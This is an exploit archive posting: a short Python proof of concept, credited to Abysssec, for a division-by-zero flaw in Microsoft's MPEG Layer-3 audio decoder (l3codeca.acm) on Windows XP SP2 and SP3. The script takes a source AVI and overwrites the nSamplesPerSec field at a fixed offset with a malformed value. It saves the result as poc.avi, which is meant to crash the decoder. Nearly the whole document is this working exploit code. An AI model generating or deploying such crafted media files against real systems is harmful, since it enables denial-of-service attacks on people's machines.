Microsoft MPEG Layer-3 Audio Decoder Division

=============================================
Microsoft MPEG Layer-3 Audio Decoder Division
=============================================

  Title            :  Microsoft MPEG Layer-3 Audio Decoder Division By Zero
  Version          :  l3codeca.acm 1-9-0-306 (XP SP2 ñ XP SP3)
  Analysis        :  http://www.abysssec.com
  Vendor           :  http://www.microsoft.com
  Impact           :  Med/High
  Contact          :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter          :  @abysssec
  MOAUB Number     :  MOAUB-02
'''
 
import sys
import struct
 
 
def main():
    
    try:
        fdR = open('src.avi', 'rb+')
        strTotal = fdR.read()
        str1 = strTotal[:4428]
        nSamplesPerSecField = '\x00\xff\xff\xff'
        str2 = strTotal[4432:]
         
        fdW= open('poc.avi', 'wb+')
        fdW.write(str1)
        fdW.write(nSamplesPerSecField)
        fdW.write(str2)
        fdW.close()
        fdR.close()
        print '[-] AVI file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                 
if __name__ == '__main__':
    main()



#  0day.today [2018-04-11]  #